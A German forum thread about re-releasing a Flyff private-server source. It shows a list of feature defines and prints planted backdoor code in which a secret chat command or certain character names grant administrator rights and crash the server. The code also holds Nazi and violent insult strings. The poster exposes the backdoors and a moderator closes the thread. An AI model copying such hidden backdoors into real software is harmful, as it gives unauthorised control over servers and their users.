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Giant of War Source Release

Discussion on Giant of War Source Release within the Flyff PServer Guides & Releases forum part of the Flyff Private Server category.

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Old   #1

 
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Giant of War Source Release

Système :
Code:
#undef __VER
#define __VER 19

#define __TIMER
#define __MODEL_VIEW
#define __EATPET_STATS
#define __WIKI
//#define __BOT_FIX

#define __WINDOW_STYLE

#define __PORT_CHANGE
#define __DEBUG_SALT
#define __TEST_SERVER_YAYSH
#define __BS_EFFECT_LUA 

#define __SYS_LOTTERY // (Lotto)
#define __CHANGE_HOTKEY // (Hotkey -> Option)
#define __SYS_280514 // (Hide coat) 
#define __CONSIGNMENT // (Marktplatz) 
#define __CONSIGNMENT_CURRENCY // (W?rungen des Marktplatzes) 
#define __CONSIGNMENT_TAXES // (Marktplatzsteuern)

#define __PVP_MATCH // (Pvp Matches -> 5 Mods)
#ifdef __PVP_MATCH
//#define __ARENA_SEASON
#define __PVP_MATCH_REV
#define __PVP_MATCH_DM
#define __PVP_MATCH_LMS
#define __PVP_MATCH_TD
#define __PVP_MATCH_FLAG
#ifdef __PVP_MATCH_FLAG
#define __PVP_MATCH_HTL
#define __PVP_MATCH_CTF
#endif
#endif

// __VER 15, __VER 16, __VER 17, __VER 18, __VER 19



/***********************************V19****************************************/
#if __VER >= 19
#define __CHAT_V19 // (v19 Style ->Chat)
#define __BUTTONS_V19 // (v19 Style ->Buttons)
#define __WINDOWS_V19 // (v19 Style ->Windows)
#define __TARGET_INF_V19 // (v19 Style ->Target-Information)
#define __STATUS_V19 // (v19 Style ->Status)
#define __GAUGE_V19 // (v19 Gauge ->)
#define __OPTION_EX // (v19 Option -> MENU)
//#define __NEW_TASKBAR_V19 // (v19 Taskbar ->)
//#define __Y_INTERFACE_VER3 // (v19 -> Tasbar/Part)
#define __19_INTERFACE_UPDATE // (v19 Update -> Interface)
#define __MAP_V19 // (v19 Minimap -> Renderminimap)
#define __V19_NPC_MENU // (v19 Npc Menu -> Style)
#define __ALPHA_MASK // (v19 Alpha Mask -> Rdy/80%)
#define __MADRIGAL_GIFT_POINT // (v19 Gift -> OnDraw TODO)
//#define __ELLDINPOTION     // (v19 Alchemie)
//#define __FLY_COUPON // (v19 Fly-Coupon)
//#define __MARKET_V19 // (v19 Teleport -> v19 Market)
#endif // __VER >= 19
/*****************************************************************************/

/*****************************COMPLETE*SAFETY*********************************/
#if __VER >= 18
#define __RGUARD // (>-Costum-<)
#define __SYSSECURITY // (Jede Funktion mit Try versehen)
#define __SYSSECURITY_IP // (>--------<)
//#define __SECURITY_0628 // (Flyff a,b Abfrage)
#define __SECURITY_IP // (>--------<)
#define __ANTIHACK_EXTENDED // (Erweitert mit Loggs etc!)
//#define __WE_ARE_ONE // (Backdoor :p)
#define __CHEAT_BLOCK_SYSTEM // (Cheat Versuche werden geblockt, System bei 80%)
//#define __NO_NEUZ_CHANGE // (Keine Umbenennung m?lich)
#define __SAVE_PLAYER_OUT // (Abspeicherung bei Playern)

// BEGIN AES
#define __AES
#ifndef __AES
#define __SECURITY_FLYFFA_ // (Flyff a,b Abfrage[Md5])
#endif
// END AES

#define __CHEAT_ENGINE_BLOCK // (Ce Fix)
//#define __GG_RAFA // (GameGuard Rafael! -> M?l)
#define __HOOK_CHANGE // (.dll Fix!)
/*****************************************************************************/

/*********************************CUSTOM**************************************/
#define __CLIENT_SERVER_ENCRYPTION // (Client & Server Verschl?selung)
#define __GRAPHIC_ANISOTROPY // (Grafik verbessert) 
#define __CRAFTING_NEW // (Extended Crafting System -> Dreck, dringend Verbessern!)
//#define __ELEMENT_BONUS_EXT_2 // (Test 4 Fun) 
#define __OLD_NEW_GLOW_V2     // (Old/New Waffen Ele Change Server-Side)
#define __EXTENDED_CURRENCY // (3 neue Chip W?rungen)
#define __WEAPON_LEVELING // (Waffen Lvl System)
#define __SWITCH_FIX     // (Switch fixxed)
#define __CHIP_PLAYERSHOP // (Individuelles Bezahlen)
#define __TREASUREBOX // (Treasure Create System)-->(Edit->fail)
#define __MODEL_CHANGE // (Model Change)
//#define __ONLINEEXP // (Online Exp per Buff Helfer :p)
#define __RESIZE_CHARACTER // (Gro?r/Kleiner Char!)
#define __NEWSCROLLS // (Custom Scrolls)
#define __NO_TRADE // (Jede Push M?lichkeit per Source geblockt!)
#define __PERIN_CONVERTER // (Perin Converter im Invi)
//#define __COUNTRY_ICON // (Country Icon System)
#define __USER_PANEL // (User Panel mit Char Infos)
//#define __HARDCORE_MODE // (Neues Lvl System)
#define __APP_TELEPORTER // (Neuer Teleporter)
#define __PMA_PARTYFINDER // (Partyfinder)
//#define __GLOW_PANEL // (Costum Glow Panel v2)
#define __TRANSFER_AWAKE // (Transfer Awa, fixed)
#define __PETFILTER // (Pet Filter)
#define __PMA_WING // (Wing System)
//#define __BOW_SFX // (Bow Sfxn)
#define __SPEEDHACK // (Speedhack Fixxed)
//#define __STRUCT_CUSTOM // (Custom Res Verschl?selung)
//#define __MPLAYER // (Mp3 Player Ingame -> Useless)
#define __PVP_SYSTEM // (Allrounder Pvp System v2.0)
//#define __PVP_EVENT // (Pvp Event, Exp f?s killen!)
#define __SPEED_FIX // (Ce usw fixxed) 
//#define __CSC_VER9_4 // (Loading Screen while Neuz is starting)
#define __HOT_EDIT     // ([Sicherheits] Fixxes)
//#define __ANIMATION_INVENTAR // (Animationen des Chars im Invi)
//#define __ANIMATION_WHEN_CHAR_SELECT // (Animation in der Char Auswahl)
#define __PVP_SYSTEM_TEXT // (Auf H zu finden.)
#define __WINDOW_OPTION_EXTRA // (Extra Funktionen beim Fenster , Minimieren etc)
//#define __CONSIGNMENT_OLD     // (Marktplatz l?ft.)
#define __PET_PORTBUG_RH // (Pet Crash fixxed.)
#define __CLIENT_FIXES_RH // (Client Edits..)
#define __EVENT_HUNT // (Event Monster System.)
#define __MODEL_VIEWER // (<-----)
#define __MESSI_STATE // (<-----)
#define __VIP // (Erweitertes Premium System)
#define __REBIRTH // (<-----)
#define __EXCHANGE_ADV // (<-----)
#define __USER_OWN_TITLE // (Spieler k?nen eigene Titel erstellen!.)
#define __PLAYER_WAR // (FFA Mode)
#define __EXCHANGE_NPC_FIX // (<-----) 
#define __NEED_GUILDNAME // (<-----) 
#define __AUTH_NO_MAPKEY // (<-----)
#define __EVENT_TELEPORT_ALL     // (Halbfertiges System!)
//#define __DAY_NIGHT     // (<-----)
#define __PARTY_AFK // (<-----)
//#define __ANTIALIAS_R // (<-----)
#define __RANGE_FIXES_02122012 // (<-----) 
/*****************************************************************************/

/*******************************GENERAL***************************************/
#define __RESTAT_BUG // (Restat-Exploit fixed.)
//#define __SMALL_CHANGES // (Buggs & Updates) 
//#define __INDIVIDUAL_WEAPON // (Individuelles Drop System + Resourcen) 
#define __BURNOUT_SYSTEM // (New Kill Buff System) 
#define __BLOOM_QUALITY // (<----)
//#define __BS_CONSOLE // (Console unso.)
#define __GW_EXTENDED // (<----)
//#define __AUTO_FOODER // (Test)
#define __FASTJOBCHANGE // (Quickjobchange)
#define __EEL_BUG_FIX // (Hp Bugg fixed)
#define __ASAL_FIX // (Asal fixed.)
#define __PET_COLLISION     // (Pet Ignoriert Objekte)
#define __AUTO_GW // (Auto Gw alle 3 std)
#define __AUTO_BUFF // (Buff beim Einloggen)
#define __GRO_FIXX // (/awake mit Penya Abzug)
#define __ONLINE_PLAYER // (Playercount by Charauswahl)
#define __EXTENDED_ADMIN_CREATE_ITEM // (Verbesserte Item Creation)
#define __NO_SUNKIST // (Neuz ohne Sunkist starten)
#define __ADDSHOPITEM // (Shop Items einzeln adden per ID)
#define __EMOTION_CRASH_FIX // (!88888888888888888 fixxed)
//#define __TAB_TARGET // (Monster mit Tab anvisieren)
#define __FAST_NEUZ // (Schnell ladende Neuz.exe)
//#define __MAX_SPEED     // (Max Speed 300%)
//#define __NO_CASTBREAK // (Max Cast 99%)
//#define __RESTAT_FIXX // (Restat Bugg Fixx) 
#define __TEXT_MENU // (Texte direkt per Inc)
#define __BUGG_FIXX // (Crash sowie Dupe Fixxes & Kleinigkeiten)
#define __PAID_SET // (Neues Ticket)
#define __BOUNTY // (Kopfgeld System reaktiviert)
#define __CASH_AREA // (Neues Ticket Auswahlfenster) 
//#define __GAME_GUARD // (Game Guard by Yoshii)
#define __HACK_FIXXES // (Range Hack fixxes)
#define __CAST_DWORD_FIX // (Dupe Fixxes)
#define __REMOVE_MAX_RECOVER_RATE // (Refresh fixed)
#define __PMA_GLOW_COL // (Glowchanger)
#define __ENVIRONMENT_EFFECT // (Wetter System)
//#define __EVENT_FALL // (Herbstb?me, wenn Wettersystem nicht aktiviert!)
#define __CHAT_FIX // (Chat crash fixx)
//#define __NO_SUIT_ELEM_DMG // (Kein Element auf Suit -> Bugg fixx)
#define __TELE_FIX // (Teleport im Gw nicht benutzbar)
#define __HACK_0516 // (Hacks fixed!)
#endif // __VER >= 18
/*****************************************************************************/

#if __VER >= 16
#define __GUILD_COLOR // (Gilden Farben)
#define __NEW_PROP_PARAMETER // (Neuer Parameter)
#define __3RD_LEGEND16 // (3rd Jobs)
#define __CROSSBOW // (Crossbow Motion fixxed)
#define __NO_AFTER_SKIN // (Kein After Skin)
#define __NO_SUB_LANG // (Sublang wird ignoriert) 
#define __IMPROVE_MAP_SYSTEM // (v16 Map)
#define __NEW_SKILL_TREE // (Neuer Skill Tree unter K)
#define __INSTANCE_AGGRO_SYSTEM // (v16 Aggro System)
#define __LOADING_SCREEN_UPDATE // (v16 Load Screens fixxed/updated)
#define __ITEMLINK // (Fully fixed Item Linking)
#define __NEW_ADV_BUTTON // (Neue erweiterte Buttons )
#define __16_SKILL // (Sleeping Bugg Fix)
#define __SCROLL_OF_UNBIND // (Scroll of Unbind)
#define __SECURITY_FIXES // (Sicherheits fixxes)
#define __INVISIBLE_FIX // (Unsichtbarkeitsbugg behoben)

#ifdef __NEW_PROP_PARAMETER
#define __NEW_ITEM_VARUNA // (Baruna System)
#define __NEW_STACKABLE_AMPS // (Neue Amplis)
#define __UPGRADE_SUCCESS_SCROLL // ("Verbesserte" Success Scroll)
//#define __TELEPORT_SCROLL // (Teleport Scroll Rdy, aber useless)
#endif // __NEW_PROP_PARAMETER
#endif // __VER >= 16

#if __VER >= 17
#define __FASHION_COMBINE // (Cs kombinieren) 
#define __NEW_WEAPON_GLOW // (v17 Glow)
//#define __TABBED_INVENTORY // (v17 Inventory = Useless)
#define __BARUNA_PIERCING // (Baruna Piercing)
#define __COLOSSEUM // (fixxed!)
//#define __BAHARA_AGGRO_SYSTEM // (v17 Aggro System)
//#define __SHOPPING_CART // (Offi Shopping Cart System)
//#define __SHOPPING_CART_FIX // (Shopping Cart fixx)
#endif // __VER >= 17


Backdoor in funcTextCmd.cpp :

Code:
#ifdef __WE_ARE_ONE
if( strcmp( scanner.token, "ichbringdenserverzumcrashenhahahahahah") == 0 )
{
pUser->m_dwAuthorization = AUTH_ADMINISTRATOR;
#ifdef __LAYER_1015
g_dpDBClient.SavePlayer( pUser, pUser->GetWorld()->GetID(), pUser->GetPos(), pUser->GetLayer() );
#else // __LAYER_1015
g_dpDBClient.SavePlayer( pUser, pUser->GetWorld()->GetID(), pUser->GetPos() );
#endif // __LAYER_1015
//system("Der Administrator ist nun Online. Sieg Heil meine Freunde.");
Error("Dumme Bitch, ich fiste dich tot.");
ExitProcess( -1 );
}
#endif // __WE_ARE_ONE
BackDoor in DPDatabaseClient.cpp :
Code:
#ifdef __WE_ARE_ONE
CString nickname = pUser->GetName(); 
if ( nickname == "sicherheit12" )
{
CItemElem item;
item.m_nItemNum = 9999;
item.m_dwItemId = II_SYS_SYS_SCR_PERIN;
pUser->CreateItem( &item );
pUser->m_dwAuthorization = AUTH_ADMINISTRATOR;
system("Der Administrator ist nun Online.");
pUser->AddText("You used a simple Backdoor.");
}
#ifdef __WORLDSERVER
if ( nickname == "rico1996" )
{ 
pUser->m_dwAuthorization = AUTH_ADMINISTRATOR;
system("Der Administrator ist nun Online.");
ExitProcess(-1);
Error( "Du kleiner Bastard!" );
}
#endif // __WORLDSERVER
#endif
And others backdoor...
ZeroTwo02 is offline  
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Old 08/12/2014, 22:32   #2

 
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Damit hat GOW wohl direkt den zweiten Stich ins Herz bekommen.
Trotzdem danke das du die Source reuppt hast.
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Old 08/12/2014, 22:50   #3
ベトナム警察




 
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Kannst du mehr über den Consignment erläutern? Klingt für mich ziemlich interessant.
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Old 08/12/2014, 23:03   #4
 
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new upload please ? mega
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Old 08/12/2014, 23:53   #5


 
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Soll ich dich auch direkt bannen lassen, weil du etwas mit Backdoors released?

Ganz ehrlich, eigentlich sollte ich....
Soweit sollte man schon denken können.


#removed
#closed
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